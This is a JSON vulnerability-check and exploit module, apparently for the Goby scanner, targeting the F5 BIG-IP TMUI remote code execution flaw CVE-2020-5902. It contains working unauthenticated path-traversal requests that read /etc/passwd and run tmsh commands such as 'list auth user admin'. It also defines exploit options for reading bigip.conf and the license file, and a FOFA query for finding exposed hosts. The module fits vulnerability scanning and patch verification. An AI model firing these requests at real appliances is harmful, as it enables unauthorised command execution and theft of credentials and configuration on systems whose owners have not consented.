{
  "Name": "F5 BIG-IP TMUI RCE (CVE-2020-5902)",
  "Description": "In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.",
  "Product": "F5-BIGIP",
  "Homepage": "",
  "DisclosureDate": "2020-07-01",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "title=\"BIG-IP&reg;- Redirect\"",
  "Level": "3",
  "Impact": "This vulnerability allows for unauthenticated attackers, or authenticated users, with network access to the TMUI, through the BIG-IP management port and/or Self IPs, to execute arbitrary system commands, create or delete files, disable services, and/or execute arbitrary Java code. This vulnerability may result in complete system compromise. The BIG-IP system in Appliance mode is also vulnerable. This issue is not exposed on the data plane; only the control plane is affected.",
  "Recommendation": "Upgrade from https://support.f5.com/csp/article/K52145254",
  "References": [
    "https://support.f5.com/csp/article/K52145254",
    "https://nvd.nist.gov/vuln/detail/CVE-2020-5902",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5902"
  ],
  "HasExp": true,
  "ExpParams": [
			{
				  "name": "AttackType",
				  "type": "select",
				  "value": "tmsh_cmd,read_file"
			},
            {
                  "name": "cmd",
                  "type": "createSelect",
                  "value": "list auth user,list /sys snmp,show /sys hardware",
				"show": "AttackType=tmsh_cmd"
            },
            {
                  "name": "file",
                  "type": "createSelect",
                  "value": "/config/bigip.conf,/config/bigip.license,/etc/passwd",
				"show": "AttackType=read_file"
            }
      ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "OR",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
		  {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "root:x",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    },
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "uri": "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
		  {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "Admin User",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": null,
  "Tags": null,
  "CVEIDs": [
    "CVE-2020-5902"
  ],
  "CVSSScore": "N/A",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}